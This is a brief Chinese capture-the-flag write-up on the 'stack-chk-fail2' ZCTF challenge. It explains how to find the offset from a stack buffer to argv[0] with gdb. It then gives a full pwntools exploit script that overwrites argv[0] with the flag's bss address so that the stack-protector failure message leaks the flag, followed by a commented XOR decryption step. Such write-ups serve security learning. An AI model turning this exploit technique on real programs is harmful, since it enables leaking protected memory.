栈溢出之利用-stack-chk-fail2

栈溢出之利用-stack-chk-fail2

栈溢出十分明显,麻烦的地方在如何通过stack-chk-fail修改argv[0],我们只要将argv[0]的地址覆盖为flag在内存中的地址就可以将flag泄露出来了。

从IDA里可以分析flag被读取存储到bss段了,并且flag前五位是”ZCTF{“,我们首先要确定输入的长度,之后计算出数组到argv[0]之间的长度。

计算数组到argv[0]之间的长度
通过gdb可以比较容易的计算,首先在main函数头部下断点,之后在gets()函数后面下个断点,通过find命令寻找argv[0]的地址和输入字符串的地址,用distant命令相减可得。

from pwn import *
# http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf
# len = 34
# 0x7fffffffdda0: -> 0x7fffffffdec8
addr = 0x6010C5
def main():
    # phase 1 : guess len主要计算正确的长度
    for i in range(40):
        payload = i*'a'
        io = process('./guess')
        print io.recvuntil('\n')
        io.sendline(payload)
        result = io.recvuntil('\n')
        if 'ZCTF' in result:
            print 'len = ',i
            io.close()
            break
        io.close()

    # phase 2 : overwrite argv[0] to dump encrypted flag 从数组到argv[0]的长度是296
    io = process('./guess')
    payload = 'ZCTF{'+(i-5)*'\x01'+'\x00'+'\x01'*(40-i-1)+'\x00'*(296-40)+p64(addr)
    print io.recvuntil('\n')
    #raw_input('attach!')
    io.sendline(payload)
    io.interactive()

    # phase 3 : decrypt flag
    #e = 'Sd`000X^o22E^u1^8tdrR^gmAf>|\x0b'
    #k = []
    #for c in e:
    #    k.append(chr(ord(c)^0x1))
    #print 'ZCTF{'+''.join(k)
    #return 0

if __name__ == '__main__':
    main()
文章目录
  1. 1. 栈溢出之利用-stack-chk-fail2
|